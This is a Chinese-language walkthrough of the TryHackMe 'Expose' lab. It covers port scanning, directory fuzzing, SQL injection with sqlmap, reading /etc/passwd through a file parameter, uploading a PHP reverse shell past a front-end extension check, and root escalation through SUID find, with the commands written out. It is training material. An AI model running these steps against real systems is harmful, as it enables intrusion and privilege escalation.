简介:
使用您的红队知识来攻击 Linux 机器。
房间链接:
https://tryhackme.com/room/expose#
问题:
挑战开始:
首先扫描下目标IP端口
nmap -sC -sV 10.10.131.229
└─# nmap -sC -sV 10.10.131.229
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-22 06:54 UTC
Nmap scan report for ip-10-10-131-229.eu-west-1.compute.internal (10.10.131.229)
Host is up (0.0072s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.113.63
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 5a3c11c4ba1c1fb30cfa27a66e5c0ee5 (RSA)
| 256 fbe2c6b05696260932b1ef05149678aa (ECDSA)
|_ 256 aee8462aa53e4184d1952e6db885463b (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
MAC Address: 02:D8:40:FD:E9:2B (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可以看到开放了21,22,53端口,且ftp可Anonymous登陆
那么就先登陆ftp看看,但是里面是空的,并没有发现什么有用的东西
猜测端口比较隐蔽,重新又扫了一遍端口
这次扫到了1337端口和1883端口
1883端口上是一个负载,先看看1337端口
有一个站点
扫描下目录
ffuf -u http://10.10.131.229:1337/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
这里发现了几个目录
admin,admin_101,phpmyadmin
首先
看看admin目录
是一个登陆口,但是,无论输入什么回车都没反应,根据提示应该是个虚假的登陆口
看看admin_101
一样的登录界面,但是用户名已经输入好了
任意输入密码发现有后续操作
根据题目中提示需要用到sqlmap,猜测存在注入
使用burp抓包看看,发现返回包中存在SQL查询语句
直接复制请求包保存文件,直接sqlmap -r
成功跑出注入
成功获取用户密码
sqlmap -r /root/Desktop/test.txt -D expose -T user --dump
登陆后台后跳转一个chat??
这条路好像走不通了,回到sqlmap中查看另一个表config
里面有另一个url
http://10.10.131.229:1337/file1010111/index.php
访问
密码需要解密
登录后有一个提示
让我们找隐藏的dom
查看源码,发现有一个提示
这里给了两个参数,file和view,让我们作为参数
这里看到file,想到了任意文件读取或者文件包含
尝试了下
http://10.10.131.229:1337/file1010111/index.php?file=/etc/passwd
成功读取passwd文件
但是目前也没有好的利用方式
这时回到config表中,发现还有另一个路由
尝试访问
http://10.10.131.229:1337/upload-cv00101011/index.php
这里提示了用户名为Z开头的机器用户
这时候上面读取的passwd就有用了
密码为zeamkish
成功进入后台
简单看下源代码,发现他只是在前端验证了后缀,那么可以直接传shell
PHPshell:
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
先把后缀改成jpg上传,抓包改成php就可以了
可以看到上传成功
文件上传的路径提示了在源代码中
本地设置好监听,访问:
http://10.10.131.229:1337/upload-cv00101011/upload_thm_1001/shell.php
成功反弹shell
首先改交互
python3 -c "import pty;pty.spawn('/bin/bash')"
在用户下看到了flag,但是权限不够
读取了另一个文件,成功获取用户的密码
那么直接用ssh登陆
成功获取第一个flag
接着尝试提权
find / -user root -perm -4000 -exec ls -ldb {} \;
这儿可以使用find提权
直接
find . -exec /bin/sh -p \; -quit
成功提权,成功获取flag
Comments NOTHING